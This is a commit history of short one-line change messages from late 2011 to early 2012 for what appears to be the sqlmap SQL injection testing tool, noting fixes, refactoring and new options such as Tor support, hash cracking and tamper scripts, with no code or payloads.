Miroslav Stampar bb5113980b minor update 2012-02-14 10:27:56 +00:00
Miroslav Stampar 3f15c52188 minor change in workflow for "tainted" parameter values 2012-02-14 09:26:52 +00:00
Miroslav Stampar 2604e73d88 minor change in workflow 2012-02-13 11:18:47 +00:00
Miroslav Stampar 96f589fc89 minor fix 2012-02-12 19:22:33 +00:00
Miroslav Stampar 8a2bd3897d minor output fix 2012-02-12 19:11:54 +00:00
Miroslav Stampar 48583a9b8d update of THANKS file 2012-02-12 19:01:36 +00:00
Miroslav Stampar c1368053e5 minor fix 2012-02-12 18:46:25 +00:00
Miroslav Stampar 249cb48b0b minor fix 2012-02-10 15:59:11 +00:00
Miroslav Stampar 6be95194a7 matter of concision 2012-02-10 15:37:43 +00:00
Miroslav Stampar eab7a54e03 cosmetics 2012-02-10 15:34:04 +00:00
Miroslav Stampar 92590d0d59 minor fix 2012-02-10 15:26:55 +00:00
Miroslav Stampar e36e9de57e minor update by request 2012-02-10 15:12:23 +00:00
Miroslav Stampar b140ef4a14 minor update (preparing for switching to HashDB from old sessionFile) 2012-02-10 10:24:48 +00:00
Miroslav Stampar 7bca926a0b fixes, updates, patches 2012-02-09 10:16:58 +00:00
Miroslav Stampar 948cf25de4 more consistent 2012-02-09 09:53:40 +00:00
Miroslav Stampar 980367b7b2 minor update 2012-02-09 09:48:47 +00:00
Miroslav Stampar 7e9e582eca minor update 2012-02-08 14:23:57 +00:00
Miroslav Stampar 1d4b10dbd1 bug fix 2012-02-08 13:55:50 +00:00
Miroslav Stampar 2662fe84f7 minor update 2012-02-08 12:02:50 +00:00
Miroslav Stampar 85a4ef6593 minor update 2012-02-08 12:00:03 +00:00
Miroslav Stampar 93d7d6c355 minor patch 2012-02-08 10:38:58 +00:00
Miroslav Stampar 6bedb80ffa adding --force-ssl switch (most useful in combination with -r) 2012-02-08 09:11:57 +00:00
Miroslav Stampar 11887f331d update of THANKS file 2012-02-07 15:00:01 +00:00
Miroslav Stampar e50d64546f minor fix 2012-02-07 14:57:48 +00:00
Miroslav Stampar 2b05ded9c3 just a makeup 2012-02-07 12:05:23 +00:00
Miroslav Stampar b4f4a982e4 minor update 2012-02-07 11:37:54 +00:00
Miroslav Stampar 11af0b1bbc minor fix 2012-02-07 11:16:03 +00:00
Miroslav Stampar f7bf1fbe94 upgrade/fixes for direct DBMS access 2012-02-07 10:46:55 +00:00
Miroslav Stampar af71e3c563 minor update 2012-02-06 09:48:44 +00:00
Miroslav Stampar e94f86a1ad minor update 2012-02-03 15:46:28 +00:00
Miroslav Stampar 22f4d5650f fix for retrieving version of backend OS on MSSQL 2012-02-03 15:42:36 +00:00
Miroslav Stampar a48fc4efec minor update 2012-02-03 15:32:23 +00:00
Miroslav Stampar e3466fa5d8 minor update 2012-02-03 15:28:11 +00:00
Miroslav Stampar 2136b3447d better solution 2012-02-03 15:22:21 +00:00
Miroslav Stampar f86c365694 added one more failsafe for MSSQL --tables 2012-02-03 10:56:39 +00:00
Miroslav Stampar 8c45ff0d57 bug fix 2012-02-03 10:38:04 +00:00
Bernardo Damele c0f4b4632d Minor fix 2012-02-02 12:55:39 +00:00
Miroslav Stampar a7970d094a minor update 2012-02-01 15:10:06 +00:00
Miroslav Stampar e56309f3b1 minor makeup update 2012-02-01 15:04:56 +00:00
Miroslav Stampar 8405ef59ac some estetic updates 2012-02-01 14:49:42 +00:00
Miroslav Stampar f4e7bf1d51 minor update regarding support for Unicode characters in Oracle 2012-02-01 14:17:27 +00:00
Miroslav Stampar 704488a4e4 proper retrieval of unicode characters in inference mode on MSSQL 2012-02-01 13:01:46 +00:00
Miroslav Stampar a6c2fc7ecc some refactoring on MSSQL support 2012-02-01 12:53:07 +00:00
Miroslav Stampar df43157284 minor patch 2012-02-01 12:28:06 +00:00
Miroslav Stampar 2ee198a381 minor "patch" 2012-02-01 11:00:01 +00:00
Miroslav Stampar 2589521ecf fix of a wrong assumption (e.g. decodeIntToUnicode(12345) has been returning a "09" instead of a single unicode character) 2012-02-01 10:38:43 +00:00
Miroslav Stampar 4d9dcbf5db minor fix 2012-02-01 10:14:23 +00:00
Miroslav Stampar f79d01183d minor update 2012-02-01 09:23:52 +00:00
Miroslav Stampar 2face9799a minor fix 2012-02-01 09:17:38 +00:00
Miroslav Stampar 7d37a650d0 minor fix 2012-01-30 14:41:17 +00:00
Miroslav Stampar 91ebadff75 minor update 2012-01-30 13:32:52 +00:00
Miroslav Stampar d8c343a88a minor update 2012-01-30 13:29:43 +00:00
Miroslav Stampar f8ae0e5272 minor update 2012-01-30 13:20:33 +00:00
Miroslav Stampar 46f42f2fe4 minor fix 2012-01-30 13:10:35 +00:00
Miroslav Stampar f2857e38ba minor update 2012-01-30 10:19:03 +00:00
Miroslav Stampar 594579bef4 fix for a bug regarding --cookie and --crawl 2012-01-30 09:17:22 +00:00
Miroslav Stampar 2094c715db minor update 2012-01-23 09:44:17 +00:00
Miroslav Stampar 9e5cf70a5a minor fix 2012-01-20 11:13:25 +00:00
Miroslav Stampar de94bee7b5 minor fix 2012-01-20 00:11:19 +00:00
Miroslav Stampar 9eee6c252d minor update for --scope 2012-01-16 10:28:21 +00:00
Miroslav Stampar 527ce070a3 minor fix 2012-01-16 10:04:18 +00:00
Miroslav Stampar b2dad63000 some more refactoring 2012-01-13 22:00:34 +00:00
Miroslav Stampar 8e4b8d345f refactoring 2012-01-13 21:55:39 +00:00
Bernardo Damele ec9cc19951 Minor bug fixes for -d 2012-01-13 21:46:21 +00:00
Miroslav Stampar e5fe029a78 minor beautification 2012-01-13 21:03:50 +00:00
Miroslav Stampar 6634c4ac20 minor update 2012-01-13 21:01:58 +00:00
Miroslav Stampar 23117e72ca minor improvement 2012-01-13 20:56:06 +00:00
Bernardo Damele 5e853cae64 Minor bug fix so now when the back-end DBMS operating system is Windows 2000, it sets the temporary folder automatically to C:\WINNT\Temp - the user does not need to provide it anymore with --tmp-path C:\\WINNT\\Temp 2012-01-13 18:08:44 +00:00
Bernardo Damele 0043336620 Minor fix and removed leftover debug message 2012-01-13 17:04:59 +00:00
Bernardo Damele e59ace5409 minor bug fix 2012-01-13 16:57:45 +00:00
Bernardo Damele b03f91437b Minor code refactoring 2012-01-13 16:49:52 +00:00
Miroslav Stampar 337973df77 reverting last 2 commits (better solution was the original one) 2012-01-13 15:58:47 +00:00
Miroslav Stampar 1f53ff0633 minor update regarding last commit 2012-01-13 15:56:50 +00:00
Miroslav Stampar ff96c537a9 minor update for multithreaded mode 2012-01-13 15:50:38 +00:00
Miroslav Stampar accac776fe some fixes 2012-01-13 14:10:53 +00:00
Bernardo Damele 7e560eec1f Minor fix 2012-01-13 12:54:45 +00:00
Miroslav Stampar dd295bbd4a minor update regarding -d and time based injections 2012-01-13 12:45:02 +00:00
Miroslav Stampar 04686b83e3 minor update 2012-01-13 11:16:26 +00:00
Miroslav Stampar 305371b7a9 minor update 2012-01-12 14:58:23 +00:00
Miroslav Stampar a0e4d27bad replacing leftovers of sqlmap.sourceforge.net with www.sqlmap.org 2012-01-11 15:32:30 +00:00
Miroslav Stampar 95f89ab63a updating copyright date 2012-01-11 14:59:46 +00:00
Miroslav Stampar 1d0b43b1a2 implemented mechanism for merging cookies by request 2012-01-11 14:28:08 +00:00
Miroslav Stampar f1147035cf minor concision/beautification update 2012-01-10 11:50:26 +00:00
Miroslav Stampar fecdce5801 implemented --tables over information_schema for MSSQL as a failover option for BOOLEAN technique too 2012-01-09 21:09:05 +00:00
Miroslav Stampar ff52931140 some refactoring (skipping duplicate messages in case that UNION/ERROR techniques failed and BOOLEAN/TIMED/STACKED are not available) 2012-01-07 19:30:35 +00:00
Miroslav Stampar 18930539cd more concise language 2012-01-07 17:45:45 +00:00
Miroslav Stampar 138b8039b3 better language 2012-01-07 17:35:53 +00:00
Miroslav Stampar 2b5e429dc2 one more level of defense against user himself 2012-01-07 17:16:14 +00:00
Miroslav Stampar a675c88894 minor check added for invalid urls (e.g. deliberately too long) 2012-01-07 16:06:18 +00:00
Miroslav Stampar 164c8a4020 better message in case of update error 2012-01-07 15:47:38 +00:00
Miroslav Stampar 5a8fc44119 minor update 2012-01-07 15:26:54 +00:00
Miroslav Stampar 3f4afdf251 minor fix (crashing if no : in value) 2012-01-07 14:54:56 +00:00
Miroslav Stampar f85c5b3f4d minor update 2012-01-06 00:23:49 +00:00
Miroslav Stampar 759465bde5 minor fix 2012-01-06 00:06:38 +00:00
Miroslav Stampar 40398f358c minor update 2012-01-05 14:55:23 +00:00
Miroslav Stampar 1f085a0241 now [SLEEPTIME] is changeable properly in vivo 2012-01-05 14:45:05 +00:00
Miroslav Stampar 9d50c806e1 bug fix 2012-01-05 10:55:58 +00:00
Miroslav Stampar 5053c2f685 update of doc/THANKS 2012-01-05 10:28:54 +00:00
Miroslav Stampar 804629832d minor fix 2012-01-05 10:24:27 +00:00
Miroslav Stampar ff090b0111 update of THANKS file 2012-01-03 23:47:30 +00:00
Miroslav Stampar ea87c89c25 minor fix 2012-01-03 23:44:56 +00:00
Miroslav Stampar f412706fee minor update for MSSQL --tables (fallback to other method) 2012-01-03 18:01:14 +00:00
Miroslav Stampar 13f2afbbc9 minor fix 2012-01-03 17:28:50 +00:00
Miroslav Stampar 6f5ef23f28 minor update/patch 2012-01-01 22:55:32 +00:00
Miroslav Stampar 300abc2ba2 minor update regarding unicode unescaping 2012-01-01 22:31:09 +00:00
Miroslav Stampar 40991a5d52 minor fix 2011-12-31 01:03:54 +00:00
Miroslav Stampar 94d43a4135 minor bug fix 2011-12-30 14:20:06 +00:00
Miroslav Stampar 63bc4ce116 minor patch 2011-12-30 14:11:02 +00:00
Miroslav Stampar 29f502fe29 some refactoring 2011-12-28 16:27:17 +00:00
Miroslav Stampar 37d78ffe01 minor optimization 2011-12-28 15:59:30 +00:00
Miroslav Stampar 6c49af090c minor language patch 2011-12-28 14:18:17 +00:00
Miroslav Stampar 8750532c3d minor fix 2011-12-28 14:13:36 +00:00
Miroslav Stampar 22c3fe49bb some refactoring 2011-12-28 13:50:03 +00:00
Miroslav Stampar dda979a15a minor refactoring 2011-12-27 12:31:29 +00:00
Miroslav Stampar 0a6334db22 minor speedup 2011-12-27 11:41:57 +00:00
Miroslav Stampar b02363b1aa minor update 2011-12-27 11:25:40 +00:00
Miroslav Stampar b604057e54 minor update 2011-12-26 16:09:46 +00:00
Miroslav Stampar 068ff92dc4 optimizing a bit pyDes module used in Oracle hash cracking 2011-12-26 15:33:49 +00:00
Miroslav Stampar 08071f42d0 minor update 2011-12-26 14:31:59 +00:00
Miroslav Stampar 366e86c560 minor "patch" 2011-12-26 14:08:25 +00:00
Miroslav Stampar c20546dcaa minor refactoring 2011-12-26 12:24:39 +00:00
Miroslav Stampar b71a81041d implemented --tor-port by request 2011-12-23 10:57:09 +00:00
Miroslav Stampar 89d2c7c042 minor update 2011-12-22 20:54:20 +00:00
Miroslav Stampar abb401879c minor update 2011-12-22 20:42:57 +00:00
Miroslav Stampar 087e29d272 minor update 2011-12-22 20:14:56 +00:00
Miroslav Stampar 8a7b0406c8 minor optimization 2011-12-22 20:08:28 +00:00
Miroslav Stampar 094129a656 minor optimization 2011-12-22 15:42:21 +00:00
Miroslav Stampar 8585107e3d minor update 2011-12-22 12:21:30 +00:00
Miroslav Stampar f622995a29 compatibility with partial union and error technique resumed data 2011-12-22 12:20:21 +00:00
Miroslav Stampar 58a4a02b7e minor fix 2011-12-22 11:56:42 +00:00
Miroslav Stampar 6f8d8a15aa minor update 2011-12-22 11:55:02 +00:00
Miroslav Stampar 9f68e54fff minor cleanup 2011-12-22 10:59:28 +00:00
Miroslav Stampar aaa29d1f24 minor fix 2011-12-22 10:51:41 +00:00
Miroslav Stampar 4a1a0773b7 speedup of UNION dumping 2011-12-22 10:44:14 +00:00
Miroslav Stampar 1ae413a206 some refactoring/speedup around UNION technique 2011-12-22 10:32:21 +00:00
Miroslav Stampar b77e2042f2 some optimization 2011-12-21 23:23:00 +00:00
Miroslav Stampar a6310c0b21 minor update 2011-12-21 23:04:36 +00:00
Miroslav Stampar 526aacb640 code cleanup 2011-12-21 22:59:23 +00:00
Miroslav Stampar 41ccf88990 some more refactoring 2011-12-21 22:09:21 +00:00
Miroslav Stampar 0a039d84e0 some more refactoring 2011-12-21 19:40:42 +00:00
Miroslav Stampar d9d4e3ea9b minor fix 2011-12-21 17:43:50 +00:00
Miroslav Stampar 41b60b26fc minor refactoring 2011-12-21 14:25:39 +00:00
Miroslav Stampar 81bd9a201b minor refactoring 2011-12-21 11:50:49 +00:00
Miroslav Stampar 0b54553a76 quick fix for AV engines 2011-12-21 10:22:03 +00:00
Miroslav Stampar 113ebf5e9d minor update 2011-12-20 16:08:17 +00:00
Miroslav Stampar 8bfff4a28e minor update 2011-12-20 15:01:27 +00:00
Miroslav Stampar d3a428c9c8 minor bug fix regarding dumping tables with safe quotes 2011-12-20 13:17:24 +00:00
Miroslav Stampar d1bfdc6a48 minor fix for --start/--stop mechanism in pivot dumping mode 2011-12-20 13:04:57 +00:00
Miroslav Stampar 95cd9e2af3 adding support for scanning Host header values (-p host) 2011-12-20 12:52:41 +00:00
Miroslav Stampar bdc724cb46 minor bug fix 2011-12-20 10:34:28 +00:00
Miroslav Stampar 1b16b5e0f1 minor fix 2011-12-20 09:10:44 +00:00
Miroslav Stampar dcf842692b minor fix 2011-12-16 12:34:26 +00:00
Miroslav Stampar 641055144a minor beautification 2011-12-16 11:49:20 +00:00
Miroslav Stampar ebc04a3d5f minor fix 2011-12-16 11:44:33 +00:00
Miroslav Stampar 7d2fce16dc minor fix 2011-12-16 11:40:23 +00:00
Miroslav Stampar cff21814bb minor patch for MSSQL 2008 2011-12-16 11:23:41 +00:00
Miroslav Stampar c57941c102 minor beautification 2011-12-15 23:33:44 +00:00
Miroslav Stampar 27d244b326 minor update 2011-12-15 23:29:11 +00:00
Miroslav Stampar 563c0c1066 adding switch --tor-type 2011-12-15 23:19:55 +00:00
Miroslav Stampar 316e27a809 minor update 2011-12-15 10:19:31 +00:00
Miroslav Stampar c98f5f6f94 minor fix 2011-12-15 09:28:58 +00:00
Miroslav Stampar 4150fadb05 minor update of THANKS file 2011-12-14 14:58:51 +00:00
Miroslav Stampar 12d7c4fe3c minor fix 2011-12-14 14:57:35 +00:00
Miroslav Stampar 8793fbc9f5 minor update 2011-12-14 12:59:25 +00:00
Miroslav Stampar 1fd1ec22a1 minor fix 2011-12-14 12:03:21 +00:00
Miroslav Stampar e6820ebbd2 minor update 2011-12-14 10:26:03 +00:00
Miroslav Stampar 364113441b adding (for now) hidden switch --tor-http (utilizing Tor proxy bundles) 2011-12-14 10:19:45 +00:00
Miroslav Stampar 73a500833d minor bug fix 2011-12-12 14:38:06 +00:00
Miroslav Stampar 25cde9e2c7 minor fixes 2011-12-12 09:45:40 +00:00
Bernardo Damele 8fe72d87a8 minor bug fix for mysql -d --file-read 2011-12-06 10:57:23 +00:00
Miroslav Stampar 0f5d48ff20 minor update 2011-12-05 09:25:56 +00:00
Miroslav Stampar 408d12dc41 minor fix 2011-12-05 08:26:00 +00:00
Miroslav Stampar a8a5e61ee1 minor update 2011-12-05 00:06:32 +00:00
Miroslav Stampar 3fb22ef80a another minor update 2011-12-05 00:03:05 +00:00
Miroslav Stampar a462a9df43 minor update 2011-12-04 23:59:10 +00:00
Miroslav Stampar b99c157d0f patching DNS-leakage of SocksiPy extra module 2011-12-04 23:58:22 +00:00
Miroslav Stampar 9bc735963b update of redirection mechanism (now 3-state - redirected, original and "ignored" (containing redirection message itself)) 2011-12-04 22:42:19 +00:00
Miroslav Stampar ec895c3d1a revert of last commit 2011-12-04 16:37:18 +00:00
Miroslav Stampar 393843bf87 it seems that SOCKS4 is safer solution for TOR socks access 2011-12-04 16:23:08 +00:00
Miroslav Stampar 2adf358524 minor update 2011-12-03 13:17:43 +00:00
Miroslav Stampar 5f7dbec41f minor patch 2011-12-03 12:11:46 +00:00
Miroslav Stampar 39b406c5c1 fix for --search on Oracle 2011-12-02 18:13:27 +00:00
Miroslav Stampar b9ae28dd5e minor beautification 2011-12-02 14:11:43 +00:00
Miroslav Stampar 96aacbf945 upgrade of --search mechanism (lowest common denominator is now searched for - e.g. if -D -T and -C are given then -C is searched for in -D and -T) 2011-12-02 13:32:30 +00:00
Miroslav Stampar b03a5e8928 people don't know what's "standard deviation" and they are wrongly connecting it's value in seconds to the --time-sec value 2011-12-01 13:30:47 +00:00
Miroslav Stampar 94790bf08a minor update (removing reference to Microsoft Access for Generic payload) 2011-12-01 13:25:27 +00:00
Miroslav Stampar 32ab7171ea minor update 2011-12-01 10:07:39 +00:00
Miroslav Stampar 9975ff8d17 minor update 2011-11-30 19:26:03 +00:00
Miroslav Stampar f1dfa5c860 minor update 2011-11-30 17:44:34 +00:00
Miroslav Stampar 71c46f50aa adding option --csv-del 2011-11-30 17:39:41 +00:00
Miroslav Stampar 02bd9a54f3 minor update 2011-11-30 17:19:21 +00:00
Miroslav Stampar 872a73f631 minor refactoring 2011-11-29 19:17:07 +00:00
Miroslav Stampar 3cd8f47686 minor bug fix 2011-11-29 17:17:06 +00:00
Miroslav Stampar 2842c13d75 minor update 2011-11-29 16:59:06 +00:00
Miroslav Stampar 6806cbd6e9 minor language update 2011-11-28 16:01:01 +00:00
Miroslav Stampar d958c2fe48 minor fix 2011-11-28 11:21:39 +00:00
Miroslav Stampar df4e3be191 using MySQL comments in explicit MySQL payloads where not comments stated in title (as we already use in MySQL UNION payloads; in lots of cases minus character is either filtered or "exploded" - seen in lots of WP vulnerabilites; also, it was a false claim by myself previously that # is no longer a valid MySQL comment syntax in never versions) 2011-11-23 22:57:02 +00:00
Miroslav Stampar 885b432808 minor update 2011-11-23 21:39:53 +00:00
Miroslav Stampar ba4234dc42 switching from HTTP proxy to SOCKS proxy for --tor (sick and tired of Polipo/Privoxy bull; either Tor flag is overwritten every here and there or they are putting all kinds of filter warnings) 2011-11-23 21:17:08 +00:00
Miroslav Stampar 8ea9b19b66 minor update regarding dumping of table content in --forms mode 2011-11-23 20:56:22 +00:00
Miroslav Stampar d6f936b98d minor update 2011-11-23 15:51:48 +00:00
Miroslav Stampar 40f21c3917 minor update 2011-11-23 15:38:31 +00:00
Miroslav Stampar 14e8ca6d41 minor fix 2011-11-23 14:26:40 +00:00
Miroslav Stampar 9b99530add minor bug fix 2011-11-23 08:14:20 +00:00
Miroslav Stampar d5cddd40f6 minor fix 2011-11-23 03:03:31 +00:00
Miroslav Stampar 6bfb7c2137 minor fix 2011-11-23 00:04:14 +00:00
Miroslav Stampar d8047c79f3 reverting back last two commits 2011-11-22 15:28:31 +00:00
Miroslav Stampar 73276c0785 even better (added long before plugins table) 2011-11-22 15:23:31 +00:00
Miroslav Stampar ff07031170 better choice than character_sets (lesser rows in start and avoiding one rare problem - description column name based) 2011-11-22 15:20:12 +00:00
Miroslav Stampar f39170a2c4 minor update 2011-11-22 15:06:51 +00:00
Miroslav Stampar e33f70269b minor optimization 2011-11-22 12:44:28 +00:00
Miroslav Stampar 501fd85fa1 minor optimization 2011-11-22 12:40:12 +00:00
Miroslav Stampar 2e10de8921 minor update 2011-11-22 12:18:24 +00:00
Miroslav Stampar ac041399f0 minor patch 2011-11-22 11:04:43 +00:00
Miroslav Stampar 9697e80013 some more optimizations 2011-11-22 10:54:29 +00:00
Miroslav Stampar 267d67b024 minor update 2011-11-22 10:41:56 +00:00
Miroslav Stampar b117c40aa5 major improvement of HashDB speed in multi-threaded mode 2011-11-22 10:09:35 +00:00
Miroslav Stampar e94efff187 some more optimization 2011-11-22 09:00:00 +00:00
Miroslav Stampar 2ed3efba12 speed optimization and bug fix (kb.absFilePaths were not stored previously; also, they are now extracted only in heuristic phase) 2011-11-22 08:39:13 +00:00
Miroslav Stampar 493e436e16 minor update 2011-11-22 07:32:39 +00:00
Miroslav Stampar e905ea2a54 minor bug fix 2011-11-22 07:07:52 +00:00
Miroslav Stampar f1f0828b28 minor update 2011-11-21 22:27:47 +00:00
Miroslav Stampar 704e1a4e74 minor minor update 2011-11-21 22:19:52 +00:00
Miroslav Stampar fcac3d494b minor beautification 2011-11-21 22:18:04 +00:00
Miroslav Stampar 753dcb3450 minor update 2011-11-21 22:12:24 +00:00
Miroslav Stampar da51e8a9d1 minor fix 2011-11-21 21:55:05 +00:00
Miroslav Stampar eee03871d7 minor refactoring 2011-11-21 21:31:08 +00:00
Miroslav Stampar 4fa24ec704 minor improvement 2011-11-21 17:39:18 +00:00
Miroslav Stampar 65b2b0ad87 adding switch --eval 2011-11-21 16:41:02 +00:00
Miroslav Stampar 0ce885e6e6 adding base64encode tampering script 2011-11-21 12:47:23 +00:00
Miroslav Stampar df0b451389 minor update 2011-11-20 23:17:57 +00:00
Miroslav Stampar 49fddaf668 minor update (for cases with 404 original page - e.g. time based injections in some cases) 2011-11-20 23:11:18 +00:00
Miroslav Stampar 8c32b3653b minor update of false positive check (in considerable amount of cases minus char is filtered/used for other means) 2011-11-20 20:27:30 +00:00
Miroslav Stampar 440b7efe55 minor optimization 2011-11-20 20:14:47 +00:00
Miroslav Stampar 7c1af97852 minor optimization 2011-11-20 19:38:56 +00:00
Miroslav Stampar e1a92d59de implementing WordPress phpass hash cracking routine 2011-11-20 19:10:46 +00:00
Miroslav Stampar f1979936c8 minor update 2011-11-18 15:32:33 +00:00
Miroslav Stampar 2ff555bf10 minor fix for --profile switch 2011-11-16 16:41:22 +00:00
Miroslav Stampar 0df768e24a minor refactoring/optimization 2011-11-16 16:06:21 +00:00
Miroslav Stampar 7314de3490 language update 2011-11-15 11:17:39 +00:00
Miroslav Stampar ad2762118d minor update 2011-11-14 15:10:39 +00:00
Miroslav Stampar b888829d12 minor update 2011-11-14 11:39:18 +00:00
Miroslav Stampar 367627c331 minor fix for Python 2.6 2011-11-13 19:09:13 +00:00
Miroslav Stampar 76fb6ba666 minor update 2011-11-13 10:38:27 +00:00
Miroslav Stampar bbb7e1562d adding AGAINST full-text search boundaries 2011-11-12 14:16:43 +00:00
Miroslav Stampar ccbd93cc2e fix for redirect/HOST header bug 2011-11-11 11:28:27 +00:00
Miroslav Stampar 1061c06617 improvement of redirecting code 2011-11-11 11:07:49 +00:00
Miroslav Stampar e183437f0b minor typo 2011-11-10 10:30:53 +00:00
Miroslav Stampar 62f8f8d36c bug fix (thanks to zhen zhou) 2011-11-10 10:22:35 +00:00
Miroslav Stampar 81ca6f00f0 removed by request 2011-11-09 12:49:28 +00:00
Miroslav Stampar 088be1b364 minor fix 2011-11-07 09:02:21 +00:00
Miroslav Stampar fda27470da minor update 2011-11-07 08:43:53 +00:00
Miroslav Stampar 6c07573e30 minor update 2011-11-06 11:42:02 +00:00
Miroslav Stampar 030c57a0c8 minor update 2011-11-06 11:18:16 +00:00
Miroslav Stampar 2ad43411ba update 2011-11-06 08:58:20 +00:00
Miroslav Stampar 2dbd51e357 fix for google searches 2011-11-06 08:55:09 +00:00
Miroslav Stampar 5f08b90b6c commiting new tampering scripts contributed by Roberto Salgado 2011-11-03 16:04:34 +00:00
Miroslav Stampar 61e3621855 minor update 2011-11-02 14:33:23 +00:00
Miroslav Stampar 24bda96d9e adding items from John the Ripper's word list to the dictionary for Oracle cracking 2011-11-02 11:21:49 +00:00
Miroslav Stampar 6ec522e14b removal of minor obsolete thingy 2011-11-02 10:41:12 +00:00
Miroslav Stampar ea125d820d some more speed ups for hash cracking 2011-11-02 09:57:42 +00:00
Miroslav Stampar 2f355db230 minor fix 2011-11-02 09:32:15 +00:00
Miroslav Stampar 0e96af65e6 minor update 2011-11-02 07:06:07 +00:00
Miroslav Stampar d735582536 major speed improvement of hash cracking 2011-11-02 06:53:43 +00:00
Miroslav Stampar b3a57391e4 minor update 2011-11-01 20:39:22 +00:00
Miroslav Stampar 3e3f037f1e improvement of hash cracking routine 2011-11-01 19:58:22 +00:00
Miroslav Stampar 4cafc5f31b language update 2011-11-01 19:09:17 +00:00
Miroslav Stampar 43340a7ea5 language 2011-11-01 19:06:27 +00:00
Miroslav Stampar f9bb762d1d minor improvement (resuming of already cracked values) 2011-11-01 19:00:34 +00:00
Miroslav Stampar c0cd29f01c minor update 2011-10-31 15:20:40 +00:00
Miroslav Stampar 60cadf4747 better regex used 2011-10-29 10:31:52 +00:00
Miroslav Stampar ef987c6954 adding compatibility support for using --crawl and --forms together 2011-10-29 09:32:20 +00:00
Miroslav Stampar ddc4dfe5ff minor refactoring for regarding --forms 2011-10-29 08:32:24 +00:00
Miroslav Stampar d7866ac78d added support for automatic filtering of badly formed HTML in --forms mode 2011-10-28 21:28:03 +00:00
Miroslav Stampar 1b45c5b56a bug fix 2011-10-28 15:24:35 +00:00
Miroslav Stampar f574760c12 minor update 2011-10-28 13:16:22 +00:00
Miroslav Stampar bd7da45546 minor update 2011-10-28 13:07:23 +00:00
Miroslav Stampar f7be0ca4e2 minor fix 2011-10-28 12:49:35 +00:00
Miroslav Stampar 6c0e8b0ea8 returning alphabetically sorted database and table names 2011-10-28 12:40:59 +00:00
Miroslav Stampar 666a7da12a minor update 2011-10-28 11:28:21 +00:00
Miroslav Stampar b83fe6113e turning off time adjustment off (now is shown as a tip) because it seems that it never was actually used (payload always left the same) 2011-10-28 11:25:07 +00:00
Miroslav Stampar e290f2b80b minor update 2011-10-28 11:11:55 +00:00
Miroslav Stampar 2e5222bfd8 adding INSERT/UPDATE generic boundaries 2011-10-28 11:00:09 +00:00
Miroslav Stampar 7ce3af68fc fixing support for parsing BURP logs 2011-10-27 17:31:34 +00:00
Miroslav Stampar 6b7920d89a minor patch for --tor 2011-10-27 10:52:06 +00:00
Miroslav Stampar 3c31ccd16e minor update 2011-10-26 22:37:04 +00:00
Miroslav Stampar 9d31230d5e minor update 2011-10-26 21:56:26 +00:00
Miroslav Stampar d64c0af461 minor update 2011-10-26 14:31:00 +00:00
Miroslav Stampar 9c1d1ca5d8 minor update 2011-10-26 14:13:38 +00:00
Miroslav Stampar 2a72c1ae68 minor fix 2011-10-26 11:30:10 +00:00
Miroslav Stampar a99547363f some fixes 2011-10-26 11:24:15 +00:00
Miroslav Stampar 3d883a2218 minor update 2011-10-26 11:10:15 +00:00
Miroslav Stampar d467b40ff6 minor fix 2011-10-26 10:54:43 +00:00
Miroslav Stampar 8d668b1833 some updates regarding hash attack 2011-10-26 10:30:32 +00:00
Miroslav Stampar f41ae9cf49 minor update 2011-10-26 09:40:47 +00:00
Miroslav Stampar 0b68144c8f minor fixes for hash cracking 2011-10-26 09:29:41 +00:00
Miroslav Stampar 18affca0bc minor update 2011-10-26 09:14:18 +00:00
Miroslav Stampar 64ca01ea0e minor update 2011-10-25 22:06:47 +00:00
Miroslav Stampar 35c889a411 minor update 2011-10-25 18:07:33 +00:00
Miroslav Stampar ee76fed56a minor update 2011-10-25 17:48:20 +00:00
Miroslav Stampar 41ad7f9eab minor update 2011-10-25 17:44:30 +00:00
Miroslav Stampar 86b4a3562f added switch --check-tor 2011-10-25 17:37:43 +00:00
Miroslav Stampar 24d495368e minor update 2011-10-25 14:03:11 +00:00
Miroslav Stampar 38e2d0896b new tamper script 2011-10-25 13:40:32 +00:00
Miroslav Stampar 9523da7663 minor optimization 2011-10-25 13:21:01 +00:00
Miroslav Stampar eaaf6041b9 minor fix 2011-10-25 11:20:42 +00:00
Miroslav Stampar c1486ed4be adding usage of non-encoded/decoded post data (if data is recognized to be already encoded) by user request 2011-10-25 09:53:44 +00:00
Miroslav Stampar b07f165d60 quick fix 2011-10-24 18:11:34 +00:00
Miroslav Stampar 23bf52e496 minor refactoring 2011-10-24 09:55:50 +00:00
Miroslav Stampar cd00c0d084 minor patch 2011-10-24 09:43:59 +00:00
Miroslav Stampar 6d64f87190 minor update 2011-10-24 00:46:54 +00:00
Miroslav Stampar 20ae1c2187 added switch --logic-negative 2011-10-24 00:40:06 +00:00
Miroslav Stampar 8bd3cfdc8e minor update 2011-10-24 00:17:38 +00:00
Miroslav Stampar d39d36f7a7 minor language beautification 2011-10-23 23:27:56 +00:00
Miroslav Stampar 7c626f1dbe minor fix 2011-10-23 23:18:39 +00:00
Miroslav Stampar d77a5f5928 update (generalizing ORDER BY approach) 2011-10-23 23:02:01 +00:00
Miroslav Stampar 1dd3fae930 minor fix 2011-10-23 22:27:45 +00:00
Miroslav Stampar 0c29311eb2 minor update 2011-10-23 22:24:57 +00:00
Miroslav Stampar 5863429fc1 minor update 2011-10-23 21:17:45 +00:00
Miroslav Stampar 4a469c3258 minor update 2011-10-23 21:12:34 +00:00
Miroslav Stampar 1f7d87c6a4 bug fix for --code (previously redirecting codes where not considered) 2011-10-23 20:48:37 +00:00
Miroslav Stampar 77e630d89e replaced longer CHAR form of escaped MySQL strings with more compact hex form 2011-10-23 20:19:42 +00:00
Miroslav Stampar 3f0517d3f3 support for non-latin (e.g. cyrillic) URLs 2011-10-23 17:02:48 +00:00
Miroslav Stampar 1c3f4e9e54 minor update 2011-10-23 08:44:21 +00:00
Miroslav Stampar 25f0ec3597 some minor range to xrange conversion (where safe to do) 2011-10-21 22:34:27 +00:00
Miroslav Stampar eb240243ea minor update 2011-10-21 22:21:41 +00:00
Miroslav Stampar b4ce857f9b added some comments 2011-10-21 21:29:24 +00:00
Miroslav Stampar 7a3096ce25 some refactoring 2011-10-21 21:12:48 +00:00
Miroslav Stampar 9356f8005c important bug fix 2011-10-21 21:07:06 +00:00
Miroslav Stampar 0a8e45955c minor update 2011-10-21 20:44:18 +00:00
Miroslav Stampar 566d6e4974 minor fix 2011-10-21 20:21:29 +00:00
Miroslav Stampar 05b9951a8b minor beautification 2011-10-21 09:19:31 +00:00
Miroslav Stampar 0db0571f35 minor patch 2011-10-21 09:06:00 +00:00
Miroslav Stampar 12a7fd4054 quick fix 2011-10-20 08:28:57 +00:00
